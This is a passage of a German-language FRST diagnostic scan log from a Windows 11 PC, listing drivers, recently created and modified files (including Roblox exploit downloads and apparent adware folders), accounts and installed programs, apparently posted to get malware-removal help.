S3 vgc; C:\Program Files\Riot Vanguard\vgc.exe [13081856 2024-12-20] (Riot Games, Inc. -> Riot Games, Inc.)
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\NisSrv.exe [3199672 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MsMpEng.exe [141952 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)

===================== Treiber (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 amdfendrmgr; C:\WINDOWS\System32\DriverStore\FileRepository\amdfendr.inf_amd64_987f8cede005f427\amdfendrmgr.sys [36040 2024-05-09] (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.)
R2 AMDRyzenMasterDriverV26; C:\Windows\system32\AMDRyzenMasterDriver.sys [60576 2024-07-14] (Advanced Micro Devices Inc. -> Advanced Micro Devices)
R3 AMDSAFD; C:\WINDOWS\System32\DriverStore\FileRepository\amdsafd.inf_amd64_d4de13a10f2586d0\amdsafd.sys [112952 2024-06-15] (AMD Test Build -> Advanced Micro Devices)
R3 amduw23g; C:\WINDOWS\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\amdkmdag.sys [106158544 2024-09-12] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R3 AMDXE; C:\WINDOWS\System32\drivers\amdxe.sys [63008 2024-05-16] (Advanced Micro Devices Inc. -> Advanced Micro Devices, Inc.)
R1 Asusgio3; C:\Windows\system32\drivers\AsIO3.sys [58936 2024-09-24] (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.)
S3 AVoluteSS3Vad; C:\WINDOWS\System32\drivers\AVoluteSS3Vad.sys [93672 2021-10-14] (A-Volute -> Windows (R) Win 7 DDK provider)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [569344 2024-12-04] (Microsoft Corporation) [Datei ist nicht signiert]
S3 BthHFEnum; C:\WINDOWS\System32\drivers\bthhfenum.sys [200704 2024-12-04] (Microsoft Corporation) [Datei ist nicht signiert]
R1 CTIAIO; C:\Windows\system32\drivers\CtiAIo64.sys [34520 2024-06-21] (Microsoft Windows Hardware Compatibility Publisher -> Creative Technology Innovation Co., LTd.)
S3 EasyAntiCheat_EOSSys; C:\Program Files (x86)\EasyAntiCheat_EOS\EasyAntiCheat_EOS.sys [22271400 2025-01-19] (EasyAntiCheat Oy -> EasyAntiCheat Oy)
R4 IOMap; C:\WINDOWS\system32\drivers\IOMap64.sys [54888 2024-07-01] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
R2 mbamchameleon; C:\WINDOWS\System32\Drivers\MbamChameleon.sys [232000 2024-10-30] (Microsoft Windows Hardware Compatibility Publisher -> Malwarebytes)
S0 MbamElam; C:\WINDOWS\System32\DRIVERS\MbamElam.sys [21480 2024-09-13] (Microsoft Windows Early Launch Anti-malware Publisher -> Malwarebytes)
R3 MBAMSwissArmy; C:\WINDOWS\System32\Drivers\mbamswissarmy.sys [239568 2025-01-19] (Microsoft Windows Hardware Compatibility Publisher -> Malwarebytes)
S3 MpKsl505c7566; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{C0295188-1AFD-4847-B204-23BE9663FD74}\MpKslDrv.sys [267552 2025-01-19] (Microsoft Windows -> Microsoft Corporation)
R1 MSIO; C:\Windows\system32\drivers\MsIo64.sys [19672 2023-12-10] (Microsoft Windows Hardware Compatibility Publisher -> MICSYS Technology Co., LTd)
R3 RzCommon; C:\WINDOWS\System32\drivers\RzCommon.sys [64168 2022-08-18] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_00c0; C:\WINDOWS\System32\drivers\RzDev_00c0.sys [65280 2024-01-31] (Razer USA Ltd. -> Razer Inc)
R1 vgk; C:\Program Files\Riot Vanguard\vgk.sys [28298792 2024-12-19] (Riot Games, Inc. -> Riot Games, Inc.)
R3 VOICEMOD_Driver; C:\WINDOWS\system32\drivers\mvvad.sys [51840 2024-11-11] (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Windows (R) Win 7 DDK provider)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [22104 2024-10-30] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [606624 2024-10-30] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [105888 2024-10-30] (Microsoft Windows -> Microsoft Corporation)

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2025-01-20 10:54 - 2025-01-20 10:55 - 000029957 _____ C:\Users\wigla\Downloads\FRST.txt
2025-01-20 10:53 - 2025-01-20 10:53 - 000000000 ____D C:\Users\wigla\Downloads\FRST-OlderVersion
2025-01-20 10:52 - 2025-01-20 10:54 - 000000000 ____D C:\FRST
2025-01-19 14:25 - 2025-01-19 14:25 - 000707760 _____ C:\WINDOWS\system32\perfh007.dat
2025-01-19 14:25 - 2025-01-19 14:25 - 000150734 _____ C:\WINDOWS\system32\perfc007.dat
2025-01-19 14:22 - 2025-01-19 14:22 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_915496643619.dll
2025-01-19 14:09 - 2025-01-20 10:53 - 002402816 _____ (Farbar) C:\Users\wigla\Downloads\FRST64.exe
2025-01-19 13:47 - 2025-01-19 13:47 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_1273924402380.dll
2025-01-19 02:03 - 2025-01-19 02:03 - 000000000 ____D C:\Users\wigla\AppData\Roaming\changzhi2
2025-01-19 02:03 - 2025-01-19 02:03 - 000000000 ____D C:\Users\wigla\.Ld9VirtualBox
2025-01-19 02:02 - 2025-01-19 02:05 - 000000000 ____D C:\Users\wigla\AppData\Roaming\XuanZhi9
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\Documents\XuanZhi9
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\AppData\Roaming\XuanZhi
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\AppData\Roaming\lddownloader
2025-01-19 02:01 - 2025-01-19 02:05 - 000000000 ____D C:\LDPlayer
2025-01-19 02:01 - 2025-01-19 02:01 - 002245480 _____ (xzplayer) C:\Users\wigla\Downloads\LDPlayer9_de_com.supercell.brawlstars_25567197_ld.exe
2025-01-19 02:01 - 2025-01-19 02:01 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xzdownloader
2025-01-19 02:01 - 2025-01-19 02:01 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xzdown
2025-01-19 01:59 - 2025-01-19 01:59 - 002238776 _____ () C:\Users\wigla\Downloads\OperaSetup.exe
2025-01-18 23:43 - 2025-01-18 23:43 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_131114109187952.dll
2025-01-18 21:42 - 2025-01-18 21:42 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(4).msi
2025-01-17 22:34 - 2025-01-20 10:51 - 000000000 ____D C:\Users\wigla\AppData\Local\VoicemodV3
2025-01-17 22:34 - 2025-01-17 22:34 - 000001835 _____ C:\Users\Public\Desktop\Voicemod V3.lnk
2025-01-17 22:34 - 2025-01-17 22:34 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Voicemod V3
2025-01-17 22:34 - 2025-01-17 22:34 - 000000000 ____D C:\Program Files\Voicemod V3
2025-01-17 22:34 - 2024-11-11 13:22 - 000051840 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\system32\Drivers\mvvad.sys
2025-01-17 22:33 - 2025-01-17 22:33 - 006442784 _____ (Voicemod Inc., Sucursal en España ) C:\Users\wigla\Downloads\VoicemodInstaller_1.3.1-0qtldv.exe
2025-01-17 20:34 - 2025-01-17 20:34 - 000000000 ____D C:\Users\wigla\AppData\Local\Globalhop
2025-01-17 20:32 - 2025-01-19 14:16 - 000000000 ____D C:\Users\wigla\AppData\Roaming\ReasonLabs
2025-01-17 20:32 - 2025-01-19 14:14 - 000000000 ____D C:\Users\wigla\AppData\Roaming\rsappui
2025-01-17 20:32 - 2025-01-17 20:42 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Win Riser
2025-01-17 20:32 - 2025-01-17 20:40 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Bit Guardian
2025-01-17 20:32 - 2025-01-17 20:40 - 000000000 ____D C:\ProgramData\Bit Guardian
2025-01-17 20:31 - 2025-01-17 20:31 - 000000000 ____D C:\Users\wigla\AppData\Local\TerrificErrorefbSoftware
2025-01-17 20:31 - 2025-01-17 20:31 - 000000000 ____D C:\Program Files (x86)\TerrificErrortezSoftware
2025-01-17 20:30 - 2025-01-17 20:32 - 008628521 _____ C:\Users\wigla\Downloads\DeltaExecutor(1).zip
2025-01-17 20:30 - 2025-01-17 20:30 - 000000000 ____D C:\Users\wigla\Downloads\DeltaExecutor(1)
2025-01-17 20:27 - 2025-01-17 20:27 - 004011760 _____ () C:\Users\wigla\Downloads\OperaGXSetup(4).exe
2025-01-17 20:26 - 2025-01-19 00:41 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Mod Menu
2025-01-17 20:26 - 2025-01-19 00:39 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xmodz-mod-menu-nativefier-e5a4a8
2025-01-17 20:26 - 2025-01-19 00:34 - 000000022 _____ C:\Users\wigla\Downloads\Mod.Menu.zip
2025-01-17 20:26 - 2025-01-17 20:26 - 000001006 _____ C:\Users\wigla\Desktop\Mod Menu.lnk
2025-01-17 20:22 - 2025-01-17 20:22 - 000000000 ____D C:\Users\wigla\AppData\Roaming\net.wearedevs
2025-01-17 20:10 - 2025-01-17 20:10 - 004011400 _____ () C:\Users\wigla\Downloads\OperaGXSetup(3).exe
2025-01-17 20:09 - 2025-01-17 20:12 - 000000000 ____D C:\Users\wigla\Downloads\DeltaExecutor
2025-01-17 20:09 - 2025-01-17 20:09 - 004011400 _____ () C:\Users\wigla\Downloads\OperaGXSetup(2).exe
2025-01-17 20:09 - 2025-01-17 20:09 - 000003402 _____ C:\WINDOWS\system32\Tasks\MicrosoftConsole
2025-01-17 20:08 - 2025-01-17 20:13 - 008628521 _____ C:\Users\wigla\Downloads\DeltaExecutor.zip
2025-01-17 20:05 - 2025-01-17 20:05 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(3).msi
2025-01-17 19:20 - 2025-01-19 16:18 - 000000000 ____D C:\WINDOWS\CbsTemp
2025-01-15 19:22 - 2025-01-15 20:59 - 000000000 ____D C:\Program Files\Mozilla Firefox
2025-01-14 20:19 - 2025-01-14 20:19 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_33746000570991.dll
2025-01-13 13:14 - 2025-01-13 13:16 - 000000000 ____D C:\XboxGames
2025-01-13 13:14 - 2025-01-13 13:14 - 000000028 ____H C:\.GamingRoot
2025-01-06 16:28 - 2025-01-17 20:28 - 000004234 _____ C:\WINDOWS\system32\Tasks\Opera GX scheduled Autoupdate 1736177274
2025-01-06 16:28 - 2025-01-06 16:28 - 000000000 ____D C:\Users\wigla\AppData\Local\Opera Software
2025-01-06 16:27 - 2025-01-17 20:28 - 000001413 _____ C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Browser Opera GX.lnk
2025-01-06 16:27 - 2025-01-06 16:27 - 004011440 _____ () C:\Users\wigla\Downloads\OperaGXSetup(1).exe
2025-01-06 16:27 - 2025-01-06 16:27 - 000001413 _____ C:\Users\wigla\Desktop\Browser Opera GX.lnk
2025-01-05 11:49 - 2025-01-05 15:34 - 000000000 ____D C:\Users\wigla\Documents\ROBLOX
2024-12-28 02:52 - 2024-12-28 02:52 - 211283329 _____ C:\Users\wigla\Downloads\DeltaExecutor-v2.654.apk
2024-12-27 23:56 - 2024-12-27 23:56 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(2).msi
2024-12-27 23:56 - 2024-12-27 23:56 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(1).msi
2024-12-27 06:05 - 2024-12-27 06:05 - 000000000 ____D C:\Users\wigla\Desktop\Alte Firefox-Daten
2024-12-27 01:01 - 2024-12-27 01:01 - 006443072 _____ (Voicemod Inc., Sucursal en España ) C:\Users\wigla\Downloads\VoicemodInstaller_1.3.0-0qtldv(3).exe
2024-12-26 00:49 - 2024-12-26 00:49 - 000000000 ____D C:\Program Files\wooting-analog-sdk
2024-12-26 00:49 - 2024-12-26 00:49 - 000000000 ____D C:\Program Files\WootingAnalogPlugins
2024-12-24 21:10 - 2025-01-12 11:00 - 000000000 ____D C:\Users\wigla\AppData\Roaming\wootility-lekker
2024-12-24 21:10 - 2024-12-24 21:10 - 000000000 ____D C:\Users\wigla\AppData\Roaming\wooting-analog-sdk
2024-12-24 21:09 - 2024-12-24 21:09 - 102900192 _____ C:\Users\wigla\Downloads\wootility-lekker Setup 4.7.2.exe
2024-12-24 21:09 - 2024-12-24 21:09 - 000002413 _____ C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\wootility-lekker.lnk
2024-12-24 21:09 - 2024-12-24 21:09 - 000002405 _____ C:\Users\wigla\Desktop\wootility-lekker.lnk
2024-12-24 21:09 - 2024-12-24 21:09 - 000000000 ____D C:\Users\wigla\AppData\Local\wootility-lekker-updater
2024-12-22 15:09 - 2024-12-22 15:09 - 000000000 ____D C:\WINDOWS\Minidump
2024-12-22 14:32 - 2024-12-22 14:32 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_336779708499.dll

==================== Ein Monat (geänderte) ==================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2025-01-20 10:53 - 2024-08-30 18:02 - 000000001 _____ C:\WINDOWS\vgkbootstatus.dat
2025-01-20 10:53 - 2024-06-21 19:03 - 000000000 ____D C:\Program Files\ASUS
2025-01-20 10:52 - 2024-06-21 19:01 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38
2025-01-20 10:51 - 2024-06-21 19:25 - 000000000 ____D C:\Users\wigla\AppData\Roaming\asus_framework
2025-01-20 10:51 - 2024-06-21 19:08 - 000000000 ____D C:\Program Files (x86)\Steam
2025-01-20 10:51 - 2024-06-21 19:00 - 000000000 ___RD C:\Users\wigla\OneDrive
2025-01-20 10:51 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\SystemTemp
2025-01-20 10:51 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\AppReadiness
2025-01-20 10:50 - 2024-12-04 20:26 - 000003112 _____ C:\WINDOWS\system32\Tasks\NahimicTask32
2025-01-20 10:50 - 2024-12-04 20:26 - 000003096 _____ C:\WINDOWS\system32\Tasks\AMDInstallLauncher
2025-01-20 10:50 - 2024-12-04 20:26 - 000003092 _____ C:\WINDOWS\system32\Tasks\NahimicTask64
2025-01-20 10:50 - 2024-12-04 20:26 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2025-01-20 10:50 - 2024-12-04 20:25 - 000024236 _____ C:\WINDOWS\system32\5E37410B-D6F1-471D-AE27-563CEAC0D6B2
2025-01-20 10:50 - 2024-06-21 16:56 - 000901328 _____ () C:\WINDOWS\system32\wpbbin.exe
2025-01-20 10:50 - 2024-06-21 16:56 - 000845256 _____ C:\WINDOWS\system32\AsusUpdateCheck.exe
2025-01-20 10:50 - 2024-06-21 16:56 - 000012288 ___SH C:\DumpStack.log.tmp
2025-01-20 10:50 - 2024-04-01 08:26 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2025-01-19 21:23 - 2024-12-04 20:23 - 000000000 ____D C:\Users\wigla
2025-01-19 21:23 - 2024-04-01 08:21 - 000524288 _____ C:\WINDOWS\system32\config\BBI
2025-01-19 21:22 - 2024-12-04 20:23 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2025-01-19 21:13 - 2024-09-13 22:33 - 000000000 ____D C:\Users\wigla\AppData\Local\Malwarebytes
2025-01-19 20:05 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2025-01-19 16:27 - 2024-08-30 15:48 - 000000000 ____D C:\Users\wigla\AppData\Roaming\riot-client-ux
2025-01-19 14:25 - 2024-12-04 20:32 - 001637744 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2025-01-19 14:25 - 2024-04-01 08:24 - 000000000 ____D C:\WINDOWS\INF
2025-01-19 14:22 - 2024-06-21 16:56 - 000002436 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2025-01-19 14:21 - 2024-06-21 19:41 - 000000000 ____D C:\Users\wigla\AppData\Roaming\EasyAntiCheat
2025-01-19 14:17 - 2024-06-21 18:58 - 000000000 ____D C:\Users\wigla\AppData\Local\Packages
2025-01-19 14:16 - 2024-04-01 08:26 - 000000000 ___HD C:\Program Files\WindowsApps
2025-01-19 13:42 - 2024-09-13 22:33 - 000239568 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamswissarmy.sys
2025-01-19 00:43 - 2024-08-01 16:29 - 000000000 ____D C:\Users\wigla\AppData\Local\CrashDumps
2025-01-19 00:20 - 2024-06-21 19:09 - 000000000 ____D C:\Users\wigla\AppData\Roaming\discord
2025-01-18 23:42 - 2024-06-21 19:09 - 000000000 ____D C:\Users\wigla\AppData\Local\Discord
2025-01-17 20:34 - 2024-06-21 19:01 - 000000000 ____D C:\Users\wigla\AppData\Local\D3DSCache
2025-01-17 20:02 - 2024-12-04 20:23 - 000305672 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2025-01-17 20:02 - 2024-09-27 18:17 - 000000000 ____D C:\Program Files\Microsoft OneDrive
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\SystemResources
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\Sgrm
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\SecureBootUpdates
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\bcastdvr
2025-01-17 19:30 - 2024-06-22 04:54 - 000000000 ____D C:\WINDOWS\system32\MRT
2025-01-17 19:29 - 2024-06-22 04:54 - 206927936 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2025-01-17 18:32 - 2024-12-04 20:26 - 000003596 _____ C:\WINDOWS\system32\Tasks\OneDrive Reporting Task-S-1-5-21-3736346939-3236848792-3681124891-1001
2025-01-17 18:32 - 2024-12-04 20:26 - 000003194 _____ C:\WINDOWS\system32\Tasks\OneDrive Per-Machine Standalone Update Task
2025-01-17 18:32 - 2024-09-27 18:17 - 000002148 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2025-01-16 19:15 - 2024-09-13 18:33 - 134222904 _____ C:\WINDOWS\392667600.dat
2025-01-16 19:13 - 2024-08-30 15:44 - 000000000 ____D C:\ProgramData\Riot Games
2025-01-16 17:14 - 2024-11-22 03:57 - 000000000 ____D C:\Users\wigla\Documents\jjsploit
2025-01-16 17:13 - 2024-06-21 21:51 - 000001395 _____ C:\Users\wigla\Desktop\Roblox Player.lnk
2025-01-16 17:13 - 2024-06-21 21:51 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Roblox
2025-01-15 20:59 - 2024-06-21 19:01 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2025-01-15 19:58 - 2024-12-04 20:26 - 000000000 ____D C:\WINDOWS\system32\Tasks\Mozilla
2025-01-15 19:58 - 2024-06-21 19:01 - 000001065 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2025-01-13 13:16 - 2024-06-21 17:56 - 000000000 ____D C:\ProgramData\Packages
2025-01-13 13:15 - 2024-06-21 18:59 - 000000000 ____D C:\Users\wigla\AppData\Local\PlaceholderTileLogoFolder
2025-01-11 10:01 - 2024-06-21 19:01 - 000001053 _____ C:\Users\Public\Desktop\Firefox.lnk
2025-01-11 10:00 - 2024-08-30 17:34 - 000000000 ____D C:\Program Files\Riot Vanguard
2025-01-10 17:21 - 2024-06-21 19:23 - 000000000 ____D C:\Users\wigla\AppData\Local\AMD_Common
2025-01-10 17:15 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\SecurityHealth
2025-01-10 15:23 - 2024-06-21 19:09 - 000002247 _____ C:\Users\wigla\Desktop\Discord.lnk
2025-01-05 15:34 - 2024-06-21 21:51 - 000000000 ____D C:\Users\wigla\AppData\Local\Roblox
2025-01-05 11:34 - 2024-06-23 13:50 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Opera Software
2025-01-05 11:34 - 2024-06-21 21:51 - 000001395 _____ C:\Users\wigla\Desktop\Roblox Studio.lnk
2024-12-29 15:14 - 2024-10-01 18:50 - 000000000 ____D C:\Users\wigla\AppData\Local\EZFNLauncherV4
2024-12-27 21:39 - 2024-09-12 14:09 - 000000000 ____D C:\Users\wigla\AppData\Roaming\VoiceAccess
2024-12-23 13:15 - 2024-12-04 20:26 - 000000000 ____D C:\WINDOWS\system32\Tasks\ASUS
2024-12-23 13:15 - 2024-06-21 19:03 - 000000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2024-12-23 13:14 - 2024-06-21 16:56 - 000000000 ____D C:\ProgramData\ASUS
2024-12-22 15:09 - 2024-06-21 16:56 - 000194560 ____N C:\WINDOWS\Minidump\122224-13812-01.dmp
2024-12-22 01:16 - 2024-12-04 20:26 - 000003756 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2024-12-22 01:16 - 2024-12-04 20:26 - 000003632 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ========

2024-09-11 16:58 - 2024-09-11 16:58 - 000000017 _____ () C:\Users\wigla\AppData\Local\resmon.resmoncfg

==================== SigCheck ============================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

==================== Ende von FRST.txt ========================
Addition.txt
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 19-01-2025
durchgeführt von wigla (20-01-2025 10:55:55)
Gestartet von C:\Users\wigla\Downloads
Microsoft Windows 11 Pro Version 24H2 26100.2894 (X64) (2024-12-04 19:27:04)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

Administrator (S-1-5-21-3736346939-3236848792-3681124891-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-3736346939-3236848792-3681124891-503 - Limited - Disabled)
Gast (S-1-5-21-3736346939-3236848792-3681124891-501 - Limited - Disabled)
WDAGUtilityAccount (S-1-5-21-3736346939-3236848792-3681124891-504 - Limited - Disabled)
wigla (S-1-5-21-3736346939-3236848792-3681124891-1001 - Administrator - Enabled) => C:\Users\wigla

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

AMD Chipset Software (HKLM-x32\...\AMD_Chipset_IODrivers) (Version: 3.10.22.706 - Advanced Micro Devices, Inc.)
AMD GPIO2 Driver (HKLM-x32\...\{E9DD399F-21A3-479E-A7DF-D6CF4B2ADBF3}) (Version: 2.2.0.130 - Advanced Micro Devices, Inc.) Hidden
AMD PCI Driver (HKLM-x32\...\{80EC3CEE-2940-42A1-A776-B5D810D39F1E}) (Version: 1.0.0.83 - Advanced Micro Devices, Inc.) Hidden
AMD PSP Driver (HKLM-x32\...\{988F14B8-79A8-475D-BAC7-83F96AD3D821}) (Version: 5.17.0.0 - Advanced Micro Devices, Inc.) Hidden
AMD Ryzen Balanced Driver (HKLM-x32\...\{A171D320-C42C-4F3B-A2D8-C6A09F6788CC}) (Version: 7.0.4.4 - Advanced Micro Devices, Inc.) Hidden
AMD SBxxx SMBus Driver (HKLM-x32\...\{AAE0E27D-C88A-49BA-8715-77ADCD4286A3}) (Version: 5.12.0.38 - Advanced Micro Devices, Inc.) Hidden
AMD Software (HKLM\...\AMD Catalyst Install Manager) (Version: 24.7.1 - Advanced Micro Devices, Inc.)
AMD_Chipset_Drivers (HKLM-x32\...\{cf77cf6b-71ff-4a71-802d-43adb9b271b7}) (Version: 3.10.22.706 - Advanced Micro Devices, Inc.) Hidden
AniMe Matrix MB EN (HKLM\...\{399B6DA7-B609-426E-95F8-B9A83FB7D06E}) (Version: 1.0.1 - ASUS)
ARMOURY CRATE Lite Service (HKLM\...\{EF3944FF-2501-4568-B15C-5701E726719E}) (Version: 5.9.13 - ASUS)
ASUS AIOFan HAL (HKLM\...\{EAE80DED-1A39-41C5-9F60-87CC947F6454}) (Version: 1.3.3.0 - ASUSTek COMPUTER INC.) Hidden
ASUS AIOFan HAL (HKLM-x32\...\{8fd8086a-a017-4dde-9157-e762e69ad2c9}) (Version: 1.3.3.0 - ASUSTek COMPUTER INC.) Hidden
ASUS Ambient HAL (HKLM\...\{00C7B374-9D50-4C30-B849-D2DAD6BC24D9}) (Version: 3.2.0.0 - ASUSTeK COMPUTER INC.) Hidden
ASUS Ambient HAL (HKLM-x32\...\{8ae78681-7936-4da1-8a2b-2861c3ba9f04}) (Version: 3.2.0.0 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Extension Card HAL (HKLM\...\{237E1CAC-1708-4940-AC34-DF15C079AB70}) (Version: 1.1.0.20 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Extension Card HAL (HKLM-x32\...\{49c4358d-054e-4cf1-9ec1-dca3487f304a}) (Version: 1.1.0.20 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Motherboard HAL (HKLM\...\{4EBEAC95-76BC-46A8-8644-6E2F1C87CF70}) (Version: 1.3.9.6 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Motherboard HAL (HKLM-x32\...\{4edc3c3e-2ec4-43d0-a184-ad61bc7dda53}) (Version: 1.3.9.6 - ASUSTeK COMPUTER INC.) Hidden
ASUS Aura SDK (HKLM\...\{CF8E6E00-9C03-4440-81C0-21FACB921A6B}) (Version: 3.04.46 - ASUSTek COMPUTER INC.) Hidden
ASUS Framework Service (HKLM-x32\...\{339A6383-7862-46DA-8A9D-E84180EF9424}) (Version: 4.2.0.4 - ASUSTeK Computer Inc.)
ASUS Motherboard (HKLM-x32\...\{93795eb8-bd86-4d4d-ab27-ff80f9467b37}) (Version: 4.02.03 - ASUSTek Computer Inc.)
ASUS Update Helper (HKLM-x32\...\{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}) (Version: 1.3.107.129 - ASUSTeK Computer Inc.) Hidden
AURA DRAM Component (HKLM\...\{D128585A-F8AB-4CA1-A63F-7B4B4A99129A}) (Version: 1.1.26 - ASUS) Hidden
AURA DRAM Component (HKLM-x32\...\{92a6184a-46c7-4c23-adfd-5b7c8c1a9877}) (Version: 1.1.26 - ASUS) Hidden
AURA lighting effect add-on (HKLM-x32\...\{1E2EA04B-FCA7-457E-B6F4-F33E1858E859}) (Version: 0.0.44 - ASUSTek COMPUTER INC.)
AURA lighting effect add-on x64 (HKLM\...\{C5A4A164-4428-4931-B728-96EEF0FA3C44}) (Version: 0.0.44 - ASUSTek COMPUTER INC.)
AURA Service (HKLM-x32\...\{56EEEF7D-0AE3-401A-898B-581719D005AE}) (Version: 3.07.54 - ASUSTeK Computer Inc.) Hidden
AURA Service (HKLM-x32\...\{5a78a7d3-44e9-4462-8796-3746f1c62cb8}) (Version: 3.07.54 - ASUSTeK Computer Inc.)
Avast Update Helper (HKLM-x32\...\{19C3AB22-3718-4E4D-B203-242F5001565B}) (Version: 1.8.1697.6 - AVAST Software) Hidden
Branding64 (HKLM\...\{492AEFBE-1B81-4C20-A111-E6974BB98EC5}) (Version: 1.00.0009 - Advanced Micro Devices, Inc.) Hidden
Discord (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Discord) (Version: 1.0.9151 - Discord Inc.)
ENE RGB HAL (HKLM\...\{E050E98C-5524-4AFB-9E53-97700BEF2C02}) (Version: 1.1.49.4 - Ene Tech.) Hidden
ENE RGB HAL (HKLM-x32\...\{98faff1a-720e-4ffe-b922-0a1d6ec0d699}) (Version: 1.1.49.4 - Ene Tech.) Hidden
ENE_EHD_M2_HAL (HKLM\...\{37A48B7F-D4EA-4863-844E-A284E2AA3C5D}) (Version: 1.0.13.0 - ENE TECHNOLOGY INC.) Hidden
